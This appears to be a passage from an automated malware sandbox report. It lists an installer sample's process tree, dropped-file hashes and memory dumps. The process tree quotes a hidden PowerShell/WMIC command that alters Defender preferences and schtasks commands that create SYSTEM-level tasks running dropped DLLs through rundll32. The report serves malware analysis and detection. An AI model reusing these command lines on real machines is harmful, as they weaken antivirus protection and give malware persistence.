powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
5⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2700

C:\Windows\SysWOW64\Wbem\WMIC.exe
"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
6⤵
- Suspicious use of AdjustPrivilegeToken
PID:2752

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\DLOGhsaIU\nenmsi.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "WIDyJrOtfliIWWA" /V1 /F
2⤵
- Drops file in Windows directory
- Scheduled Task/Job: Scheduled Task
PID:2740

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "WIDyJrOtfliIWWA2" /F /xml "C:\Program Files (x86)\DLOGhsaIU\mOePIRp.xml" /RU "SYSTEM"
2⤵
- Scheduled Task/Job: Scheduled Task
PID:5064

C:\Windows\SysWOW64\schtasks.exe
schtasks /END /TN "WIDyJrOtfliIWWA"
2⤵
PID:4080

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "WIDyJrOtfliIWWA"
2⤵
PID:2764

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "nxADIXokSRoYuh" /F /xml "C:\Program Files (x86)\dqJSprjCYNjU2\tBExXQK.xml" /RU "SYSTEM"
2⤵
- Scheduled Task/Job: Scheduled Task
PID:2740

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "KpIDWATyCmEAP2" /F /xml "C:\ProgramData\lKoxjEGWaXzMwnVB\XaTXnOk.xml" /RU "SYSTEM"
2⤵
- Scheduled Task/Job: Scheduled Task
PID:808

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "TavfbLKZPLxPZfDXy2" /F /xml "C:\Program Files (x86)\JoukbHKXhnJgygRymeR\aNVALvm.xml" /RU "SYSTEM"
2⤵
- Scheduled Task/Job: Scheduled Task
PID:3804

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "yjMcJQudiAqgWtKYmHU2" /F /xml "C:\Program Files (x86)\LXFcSqNRPdfiC\CASGFRj.xml" /RU "SYSTEM"
2⤵
- Scheduled Task/Job: Scheduled Task
PID:2460

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "xOqIMlfoTdTUPfGRn" /SC once /ST 03:11:19 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\jEUQWIQvPKxTkmGv\sPzptVkv\vcvTqmA.dll\",#1 /xiGdidlNgm 385137" /V1 /F
2⤵
- Drops file in Windows directory
- Scheduled Task/Job: Scheduled Task
PID:1028

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "xOqIMlfoTdTUPfGRn"
2⤵
PID:2008

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "QGKRfysOUInPGCvKQ"
2⤵
PID:4424

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3376 -s 2132
2⤵
- Program crash
PID:2364

\??\c:\windows\system32\rundll32.EXE
c:\windows\system32\rundll32.EXE "C:\Windows\Temp\jEUQWIQvPKxTkmGv\sPzptVkv\vcvTqmA.dll",#1 /xiGdidlNgm 385137
1⤵
PID:2976

C:\Windows\SysWOW64\rundll32.exe
c:\windows\system32\rundll32.EXE "C:\Windows\Temp\jEUQWIQvPKxTkmGv\sPzptVkv\vcvTqmA.dll",#1 /xiGdidlNgm 385137
2⤵
- Blocklisted process makes network request
- Checks BIOS information in registry
- Loads dropped DLL
- Drops file in System32 directory
- Enumerates system info in registry
- Modifies data under HKEY_USERS
PID:2468

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "xOqIMlfoTdTUPfGRn"
3⤵
PID:1508

Network

MITRE ATT&CK Matrix ATT&CK v13

Replay Monitor

Loading Replay Monitor...

Downloads

C:\$RECYCLE.BIN\S-1-5-18\desktop.ini
Filesize
129B

MD5
a526b9e7c716b3489d8cc062fbce4005

SHA1
2df502a944ff721241be20a9e449d2acd07e0312

SHA256
e1b9ce9b57957b1a0607a72a057d6b7a9b34ea60f3f8aa8f38a3af979bd23066

SHA512
d83d4c656c96c3d1809ad06ce78fa09a77781461c99109e4b81d1a186fc533a7e72d65a4cb7edf689eeccda8f687a13d3276f1111a1e72f7c3cd92a49bce0f88

Download Submit
C:\Program Files (x86)\DLOGhsaIU\mOePIRp.xml
Filesize
2KB

MD5
3fd9334b46ba7dc3461546c8004afd2a

SHA1
6996375e677ccacd264bc7e41ce0cc27fbae3098

SHA256
312d1f07293664c2172d42ddc87a7729718261a7fb326371d340895b1665a852

SHA512
5924b9c6e522a919cd2c055a11cb29a879cd8cba16f1796b12b73951dc2f48eaf5fccb5c7e75b71918621e2a66da16eafa6ad661b4af315272e4195ca7c254e2

Download Submit
C:\Program Files (x86)\JoukbHKXhnJgygRymeR\aNVALvm.xml
Filesize
2KB

MD5
3fd9747473638cfbb690da38a9a7b723

SHA1
7f52dd03f07b585e7d5023b7bceed712f7ea4f84

SHA256
7d6a9acb6bb07a7546a2d898a1d19f64ab947e7e6952fa74d2af67b95f06146f

SHA512
b299efc11471f7447cc4a4d7db5512ae3a6c76216b986e20455dbcb8460e0ff8a403efe388fcc4d0f50e4379484e3b48a214f66cb9e027c3c5cb463e8314576a

Download Submit
C:\Program Files (x86)\LXFcSqNRPdfiC\CASGFRj.xml
Filesize
2KB

MD5
8072c9f834a9a49708afa93925522f4b

SHA1
880bfb4c1881782b41831584b1c8f81a4f946ccc

SHA256
0adf86f9d31afb9b0827549aedf638b8c8d779c9c8902452f3157c6d9853fafe

SHA512
7ee2a76311f36b6e8cd410f166ef8e3314ee90e18731bdbe78009fd3894c7ce0ab8900e5e877fa171dd9c94d7e826a61d3dab5280984cc1b7efc35554a6e5256

Download Submit
C:\Program Files (x86)\dqJSprjCYNjU2\tBExXQK.xml
Filesize
2KB

MD5
22994b8db996a85d0d90ebd0623b78db

SHA1
64cecf1070e808bdebc08f7f00f80f6d7216db3a

SHA256
d73f8d95ad528725f0329f0192447ab545e6ffc5c91025495ff3bee72001aefd

SHA512
14676422639ddf7ba0a33b2828348869f018a74ee544693c917f4263e155b57495f5da5b580fd3c8dbe1b87c5d5b1057d8de9f31a2bdd0962c49f58224992638

Download Submit
C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi
Filesize
2.0MB

MD5
1ec68cf1387ff3e50a4b76c3a007e73a

SHA1
2fe77ef64e90ff74c775e859cd1cb9d5037f518c

SHA256
51971c9a283459bfa2ea61c2b10d0cb0632091f1c5c590f97eb27aeaf0fcafa8

SHA512
cc6460e48d5d8af7c974bc7d25a2024ebdba53de0e4ee4388706169580ed7dbb058ccdcbb0e3e0f47aeb898291c8da21bd22329cd5c7563912dc71e8a20ce0f7

Download Submit
C:\ProgramData\lKoxjEGWaXzMwnVB\XaTXnOk.xml
Filesize
2KB

MD5
3a1954b08034ebb9356c2c4507ec4591

SHA1
37ed928f554149a40dd2b1dd0d1beb78683dde17

SHA256
eb40c1c35ed0ea7c62a10be2f9faca4dfb7dffaaa04df208fb5bb153fdea77a0

SHA512
c422bc67ce3b25851d4bee0573d24662f976d788d247b27cd34927b6678440e2dcaafb000f434d15b87c83553bc89274599ecdd1c01efe3cf9b57ee65e51b376

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\en_GB\messages.json
Filesize
187B

MD5
2a1e12a4811892d95962998e184399d8

SHA1
55b0ae8a7b5a5d6094827ede8e6a1d26d4b4a720

SHA256
32b4406692c26b540fea815a9bb56df1f164140cd849e8025930b7425036cceb

SHA512
bb54d5e8684a6bfeac559b7c7a7551eed6a8a43a4c6464218cb0adb1c89fea124b69760690c3124af86fa68ac3fdbe903eaa098f0af2b6a58f4702c803abc089

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\fa\messages.json
Filesize
136B

MD5
238d2612f510ea51d0d3eaa09e7136b1

SHA1
0953540c6c2fd928dd03b38c43f6e8541e1a0328

SHA256
801162df89a8ad2b1a51de75e86eba3958b12960660960a5ffafe9bc55bc293e

SHA512
2630dd7a3c17dc963b1a71d81295cf22f8b3838748b55c433318e1e22f5b143a6d374ca2e5a8420659fa130200fbaa4814d0f093b1eca244b5635a3b99878e1c

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\pt_BR\messages.json
Filesize
150B

MD5
0b1cf3deab325f8987f2ee31c6afc8ea

SHA1
6a51537cef82143d3d768759b21598542d683904

SHA256
0ec437af3f59fef30355cf803966a2b9a0cd9323d390297496f750775995a6bf

SHA512
5bc1f5a2d38f4a071513e2ac25b241c8e5584bed8d77e7fc4194855898d51a328dd73200f5aae6c9bc1b2a304e40e56bc686192074bd8a1bcc98f4971dee428f

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Filesize
10KB

MD5
85d446a6f8944fa661bf3b09c915ce83

SHA1
3e004adfa24306d96c191bf21ee056670f709f15

SHA256
8d046249d4f0880dfd1b6ade03adaa5196cc060ac4934cc179390f476a050afa

SHA512
6f99e457c10fcc2b26a0b02b8257925d08551d9ba244216d88be57b9aa66c1128e013c5f24eca0756e2104bb0cb0da79656502ff3fda907a12557d5ead318c85

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
12KB

MD5
9216810de990fbc925e57d220fa39da3

SHA1
49ad5a32d8f0fdc62670920f41a4dc328da40b79

SHA256
cda6e4bea833277d573d8f393eb7b1398be932e5bbe3249e70990d28b5d6c10f

SHA512
32d509ec5eed33be1a9859fbd89d1654d24ed585f5599ef5bd2be57ca38f478e42d21b915e30dfa752e0bfc26fa4252e1711617811d1e543e8778e6284113bc2

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zS6B7B.tmp\Install.exe
Filesize
6.4MB

MD5
5751d80f6106d71941c6bd51cc40ae80

SHA1
7831a3a944901948dd6a70bfab8c1f53a014cc3f

SHA256
af2bb0b59f1210c8c006c9481cb3c48fb0088ed7b580a5f7bb8034e6070463e7

SHA512
1e28ace113c5025efe16de2c729d12a180fdc51d62dc43da994b3679a25abe338f025a35ab80721739be83f8374daa135486ba1c036dadd6603f7a034fe05480

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zS6DFC.tmp\Install.exe
Filesize
6.7MB

MD5
461e481b91a66d6d62df3c8bddbd3a94

SHA1
7df56e81848dcafcb1ec0fb5ebcd05af3a4e16e5

SHA256
90fb3644af30c1804c48d3e10350876da24e9c3afeac4e464ad0cab7b5957e31

SHA512
b8582306f9f2d6256622c1c01f8bb237879ce46ef98d2c443e408da77db09ef77c40a5040bb2650e20ee12c7b7d425dcafd0f8cf8712c6420c996eed0bfaf103

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_augr3i30.g5j.ps1
Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\wjyk7j4u.default-release\prefs.js
Filesize
6KB

MD5
dd260d00ca3ec7f0022407fa119223b1

SHA1
0cc2f7cd9c9c9f44288e4da51495e5896d8b4a72

SHA256
9778761b0a08b83b3f0989f63d138d2b5a18f47361494b325e52e9872db48ed8

SHA512
bf5f1b03754fa522b33715d41eb680c9481e30c37c5a5f30be7a02ec06d73586fb0e3fcae437d1518568d5151cf9c3d901845049fe5475f25fe5020804e7f118

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Filesize
1KB

MD5
e33ed3d4cc9b2e5a08ae25747ef47620

SHA1
e2f4cfdd39bcb2eb1c05648a37a3d8536eaf19b7

SHA256
0e7093450fb6bb5201b4291033daf6099881421ab47b122972e0249ef5b45a4f

SHA512
9e990f7ca202c7ecc7a21dd2433055b71bd62f2e524f4702b674316effeb8fa37e891d40f3e6a960380dd7967033c7a7f235e73a3c434e97495e532309b4f95e

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
12KB

MD5
d9cfe8eb8f39c92ee1846e2d02e2d9f3

SHA1
13b70dd746b8c81b471de4ee82aa212f1f849b16

SHA256
f413d2accb64927f540254fc99642e6f83c3a446bbf97d8ba9c9d50cef17279c

SHA512
a6287f4d0975a9b5a1d6e3b07e9d134c1003393f5e7b5540ba9fc946ab7d7aa76ff815888b414e6f1065802fd5a68792628dd5492b18948f06c180051f1a567d

Download Submit
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
12KB

MD5
a9de06054d573b27be546f9890087023

SHA1
86d62332b57a6512e9174d0024243bfc4ee3aff3

SHA256
7f34c0ea035517d57b74963c779ceaa6f025ebe5a9c02582ed059976fc41da38

SHA512
33cbe9dd711cda65caacfce6420a258e1c4734b9b40da27fdf3732a6fe1edc1a764ab2bf1195b37eb0ca8620156dd2d742896d1059390e6af3eadc4ea027f849

Download Submit
C:\Windows\Temp\jEUQWIQvPKxTkmGv\sPzptVkv\vcvTqmA.dll
Filesize
6.4MB

MD5
6d724b96cb86cee81d4fef0572d6f2ee

SHA1
a948053a1e8682749f6a4170fc2750e41560dab3

SHA256
411b84a9cc0f73fb9385270537c151da2f98e13da679f816614877687a307931

SHA512
df5d2b03698067ce2c0a4ad6182faad247c9c860aab8cc0365dd47972f990516b53dc0abc33db557239bb1428ba69716cf0e5ff523ec56bb003fcb39e796aca6

Download Submit
C:\Windows\system32\GroupPolicy\Machine\Registry.pol
Filesize
6KB

MD5
0109dfc9dd5cc9dfc2337dddee06f4f8

SHA1
6eb587fbbef8a339afb930a3e7dc289e3bd0b17f

SHA256
5588c8a6f7434121ffafaf3c7f5ee46eff0b0e3c120a252053b789d4f059aa82

SHA512
9b19b2623fdc01740770a78f934d73e51b03edd54c81ae0738f6c6ffc4730377d74babfc5b5e424aaf5eacd92b123e501c9c97e304a654074f266314029e1e45

Download Submit
memory/96-93-0x0000014975090000-0x0000014975106000-memory.dmp

Filesize
472KB

Download
memory/96-89-0x0000014974F60000-0x0000014974F82000-memory.dmp

Filesize
136KB

Download
memory/588-52-0x00000000067A0000-0x00000000067EB000-memory.dmp

Filesize
300KB

Download
memory/2284-20-0x0000000005090000-0x00000000050C6000-memory.dmp

Filesize
216KB

Download
memory/2284-24-0x0000000008090000-0x00000000080F6000-memory.dmp

Filesize
408KB

Download
memory/2284-27-0x0000000008A90000-0x0000000008ADB000-memory.dmp

Filesize
300KB

Download
memory/2284-26-0x0000000008050000-0x000000000806C000-memory.dmp

Filesize
112KB

Download
memory/2284-25-0x0000000008100000-0x0000000008450000-memory.dmp

Filesize
3.3MB

Download
memory/2284-21-0x00000000079F0000-0x0000000008018000-memory.dmp

Filesize
6.2MB

Download
memory/2284-22-0x0000000007780000-0x00000000077A2000-memory.dmp

Filesize
136KB

Download
memory/2284-23-0x0000000007820000-0x0000000007886000-memory.dmp

Filesize
408KB

Download
memory/2284-28-0x00000000087B0000-0x0000000008826000-memory.dmp

Filesize
472KB

Download
memory/2384-69-0x0000000006080000-0x00000000063D0000-memory.dmp

Filesize
3.3MB

Download
memory/2468-413-0x0000000003A50000-0x0000000004025000-memory.dmp

Filesize
5.8MB

Download
memory/2700-139-0x00000000069B0000-0x0000000006D00000-memory.dmp

Filesize
3.3MB

Download
memory/3376-432-0x0000000000340000-0x00000000009FE000-memory.dmp

Filesize
6.7MB

Download
memory/3376-378-0x0000000003580000-0x000000000360A000-memory.dmp

Filesize
552KB

Download
memory/3376-124-0x0000000000340000-0x00000000009FE000-memory.dmp

Filesize
6.7MB

Download
memory/3376-125-0x0000000010000000-0x00000000105D5000-memory.dmp

Filesize
5.8MB

Download
memory/3376-195-0x0000000002D10000-0x0000000002D72000-memory.dmp

Filesize
392KB

Download
memory/3376-389-0x0000000003770000-0x0000000003840000-memory.dmp

Filesize
832KB

Download
memory/3376-140-0x0000000002500000-0x0000000002585000-memory.dmp

Filesize
532KB

Download
memory/3840-17-0x0000000010000000-0x00000000105D5000-memory.dmp

Filesize
5.8MB

Download
memory/3840-45-0x0000000000C50000-0x000000000130E000-memory.dmp

Filesize
6.7MB

Download
memory/3840-115-0x0000000010000000-0x00000000105D5000-memory.dmp

Filesize
5.8MB

Download
memory/3840-12-0x0000000000C50000-0x000000000130E000-memory.dmp

Filesize
6.7MB

Download
memory/3840-13-0x0000000010000000-0x00000000105D5000-memory.dmp

Filesize
5.8MB

Download
memory/4908-46-0x0000000010000000-0x00000000105D5000-memory.dmp

Filesize
5.8MB

Download
memory/4908-44-0x0000000000C50000-0x000000000130E000-memory.dmp

Filesize
6.7MB

Download
memory/4908-123-0x0000000000C50000-0x000000000130E000-memory.dmp

Filesize
6.7MB

Download